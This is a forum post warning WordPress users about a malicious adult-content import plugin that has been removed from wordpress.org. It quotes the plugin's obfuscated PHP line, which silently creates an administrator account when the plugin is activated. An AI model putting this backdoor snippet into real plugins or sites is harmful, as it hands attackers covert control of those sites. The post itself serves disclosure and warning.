View Single Post
Old 04-02-2017, 07:59 AM  
fris
Too lazy to set a custom title
 
fris's Avatar
 
Industry Role:
Join Date: Aug 2002
Posts: 55,262
Warning to all wordpress users using the xxx import plugin

I reported it yesterday, and has been since removed from wordpress.org

If any of you used it, please check your users on your system as the plugin does some evil base64 stuff to hide its true intensions.

On plugin activation, it creates an admin account

Code:
if(!username_exists($o0)&&!email_exists($a2)){$a3=wp_create_user($o0,$q1,$a2);$o0=new WP_User($a3);$o0->set_role(base64_decode('YWRtaW5pc3RyYXRvcg=='));}}
the person who coded it was amk.network, which i cant find much of this person, so i dont know if they post here.

__________________
Since 1999: 69 Adult Industry awards for Best Hosting Company and professional excellence.


WP Stuff
fris is online now   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote